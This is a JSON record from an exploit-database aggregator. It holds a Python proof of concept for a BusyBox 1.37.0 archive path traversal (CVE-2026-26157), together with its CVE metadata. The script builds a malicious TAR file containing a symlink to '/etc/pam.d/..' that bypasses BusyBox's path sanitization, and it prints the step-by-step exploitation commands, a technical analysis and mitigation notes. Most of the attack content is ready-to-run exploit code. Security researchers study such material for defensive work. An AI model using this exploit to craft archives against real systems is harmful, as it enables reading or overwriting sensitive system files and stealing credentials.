{"exploit":{"id":"EDB-52538","name":"BusyBox 1.37.0 - Path Traversal","description":"BusyBox 1.37.0 - Path Traversal","cves":["CVE-2026-26157"],"author":"Calil Khalil","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52538","path":"exploits/multiple/webapps/52538.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52538.py","vulnerabilities":[{"id":"CVE-2026-26157","state":"PUBLISHED","title":"Busybox: busybox: arbitrary file overwrite and potential code execution via incomplete path sanitization","titleSource":"CVE Program","description":"A flaw was found in BusyBox. Incomplete path sanitization in its archive extraction utilities allows an attacker to craft malicious archives that when extracted, and under specific conditions, may write to files outside the intended directory. This can lead to arbitrary file overwrite, potentially enabling code execution through the modification of sensitive system files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26157","cvss":{"version":"3.1","baseScore":7,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"redhat","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26157"},"updatedAt":"2026-11-04T22:15:34.358Z","retrievedAt":"2026-11-25T16:15:50.691Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52538.png?v=2","url":"https://exploitbin.com/exploits/EDB-52538","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52538/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52538/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: BusyBox 1.37.0 - Path Traversal\n# Google Dork: N/A\n# Date: 2026-02-11\n# Exploit Author: Calil Khalil\n# Vendor Homepage: https://busybox.net\n# Software Link: https://busybox.net/downloads/\n# Version: BusyBox 1.36.1, 1.37.0\n# Tested on: Ubuntu 22.04 LTS, Alpine Linux 3.19\n# CVE: CVE-2026-26157\n\n\"\"\"\nBusyBox Path Traversal Vulnerability (CVE-2026-26157)\n\nDescription:\nBusyBox archive extraction utilities fail to properly sanitize symlink targets\ncontaining trailing \"..\" components. The strip_unsafe_prefix() function in\narchival/libarchive/unsafe_prefix.c uses strstr(cp, \"/../\") which only matches\nthe 4-character pattern and misses 3-character trailing \"/..\" sequences.\n\nThis allows an attacker to craft malicious archives with symlinks pointing to\narbitrary filesystem locations, enabling information disclosure through symlink\ntraversal.\n\nAffected Components:\n- tar (primary vector)\n- unzip\n- rpm\n- ar\n\nImpact:\n- CVSS Score: 7.8 (HIGH)\n- Arbitrary file read via symlink traversal\n- Information disclosure\n- Credential theft\n\nRoot Cause:\narchival/libarchive/unsafe_prefix.c:23\nThe pattern matching in strip_unsafe_prefix() fails on trailing \"..\" paths:\n  cp2 = strstr(cp, \"/../\");  // Only matches \"/../\", misses \"/pam.d/..\"\n  if (!cp2) break;\n\nAttack Scenario:\n1. Attacker creates TAR archive with symlink: sensitive_data -> /etc/pam.d/..\n2. Victim extracts archive using BusyBox tar\n3. Symlink created without sanitization\n4. Symlink resolves to /etc directory\n5. Application reading 'sensitive_data' exposes /etc contents\n\nReferences:\n- https://github.com/calilkhalil/research\n- Red Hat CNA Case: INC3907198\n\"\"\"\n\nimport tarfile\nimport sys\nimport os\n\ndef create_exploit():\n    \"\"\"\n    Creates a malicious TAR file exploiting CVE-2026-26157.\n\n    The archive contains a symlink with an unsanitized target that\n    resolves outside the extraction directory.\n    \"\"\"\n\n    exploit_file = 'CVE-2026-26157_exploit.tar'\n\n    try:\n        with tarfile.open(exploit_file, 'w') as tar:\n            # Create symlink with trailing \"..\" in target path\n            # This bypasses strip_unsafe_prefix() pattern matching\n            info = tarfile.TarInfo('sensitive_data')\n            info.type = tarfile.SYMTYPE\n            info.linkname = '/etc/pam.d/..'  # Resolves to /etc\n            tar.addfile(info)\n\n        print(f\"[+] Exploit created: {exploit_file}\")\n        print(f\"\\n[*] Exploitation steps:\")\n        print(f\"  1. mkdir test_extraction && cd test_extraction\")\n        print(f\"  2. busybox tar xf ../{exploit_file}\")\n        print(f\"  3. readlink -f sensitive_data\")\n        print(f\"     Expected output: /etc\")\n        print(f\"  4. ls sensitive_data/\")\n        print(f\"     Result: Lists /etc directory contents\")\n        print(f\"\\n[!] Impact: Arbitrary directory read via symlink traversal\")\n        print(f\"[!] CVSS: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\")\n\n        return exploit_file\n\n    except Exception as e:\n        print(f\"[-] Error creating exploit: {e}\")\n        sys.exit(1)\n\ndef show_technical_details():\n    \"\"\"Display technical analysis of the vulnerability\"\"\"\n\n    print(\"\\n\" + \"=\"*70)\n    print(\"TECHNICAL ANALYSIS - CVE-2026-26157\")\n    print(\"=\"*70)\n    print(\"\\nVulnerable Function:\")\n    print(\"  archival/libarchive/unsafe_prefix.c:strip_unsafe_prefix()\")\n    print(\"\\nVulnerable Code Pattern:\")\n    print(\"  cp2 = strstr(cp, \\\"/../\\\");  // Only matches 4-char sequence\")\n    print(\"  if (!cp2) break;\")\n    print(\"\\nBypass Technique:\")\n    print(\"  Path: /etc/pam.d/..\")\n    print(\"  Pattern check: strstr(\\\"/etc/pam.d/..\\\", \\\"/../\\\") -> NULL\")\n    print(\"  Result: Sanitization bypassed, symlink created with original target\")\n    print(\"\\nExploitation Flow:\")\n    print(\"  1. Archive contains: symlink 'sensitive_data' -> '/etc/pam.d/..'\")\n    print(\"  2. get_header_tar() extracts symlink metadata\")\n    print(\"  3. Symlink target NOT sanitized (bypass detected)\")\n    print(\"  4. data_extract_all() creates symlink with '/etc/pam.d/..'\")\n    print(\"  5. Target resolves: /etc/pam.d/.. -> /etc\")\n    print(\"  6. Reading 'sensitive_data' = reading /etc\")\n    print(\"=\"*70 + \"\\n\")\n\nif __name__ == \"__main__\":\n    print(\"=\"*70)\n    print(\"BusyBox Path Traversal Exploit - CVE-2026-26157\")\n    print(\"Author: Calil Khalil\")\n    print(\"=\"*70)\n\n    # Display technical analysis\n    show_technical_details()\n\n    # Create exploit\n    exploit_file = create_exploit()\n\n    print(\"\\n[*] Mitigation:\")\n    print(\"  - Update BusyBox to patched version\")\n    print(\"  - Patch applies strip_unsafe_prefix() to symlink targets\")\n    print(\"  - Do not extract untrusted archives with elevated privileges\")\n\n    print(\"\\n[*] For educational and authorized testing purposes only\")","sha256":"fb1ccefe56c5799c6292b0c352144346c491be6991bd4caa7190a30a1a99a006","bytes":4717,"fetchedAt":"2026-11-26T11:17:48.201Z","encoding":"utf-8 (display only; download retains original bytes)"}